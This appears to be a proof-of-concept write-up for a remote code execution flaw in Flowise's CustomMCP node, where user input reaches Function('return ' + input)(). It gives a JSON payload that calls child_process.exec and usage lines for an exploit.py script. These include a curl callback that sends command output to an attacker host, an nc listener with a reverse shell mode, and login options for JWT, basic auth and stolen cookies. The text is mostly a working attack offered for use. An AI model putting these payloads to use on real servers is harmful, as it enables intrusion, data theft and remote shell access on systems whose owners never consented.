function convertToValidJSONString(inputString) {
    return Function('return ' + inputString)();  // ← arbitrary code execution
}

HTTP POST → /api/v1/node-load-method/customMCP
  → controller.getSingleNodeAsyncOptions()
    → service layer
      → CustomMCP.listActions()
        → convertToValidJSONString(mcpServerConfig)  // Function('return ' + userInput)()

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "{x:(function(){const cp=process.mainModule.require('child_process');cp.exec('COMMAND',()=>{});return 1;})()}"
  }
}

pip install requests

python3 exploit.py -t http://target:3000 --mode check --email [email protected] --password pass

# Exfiltrate output via callback
python3 exploit.py -t http://target:3000 --mode exec \
  -c "curl http://ATTACKER:PORT/\$(id | base64)" \
  --email [email protected] --password pass

# Start listener
nc -lvnp 4444

# Fire exploit (auto-tries bash, nc, python)
python3 exploit.py -t http://target:3000 --mode revshell \
  --lhost ATTACKER_IP --lport 4444 \
  --email [email protected] --password pass

# JWT auth (Flowise >= 3.0.1)
--email [email protected] --password pass

# Basic auth (Flowise < 3.0.1 with FLOWISE_USERNAME env)
--username admin --password pass

# Raw cookie string (fallback)
--cookie "token=eyJ...;refreshToken=eyJ...;connect.sid=s%3A..."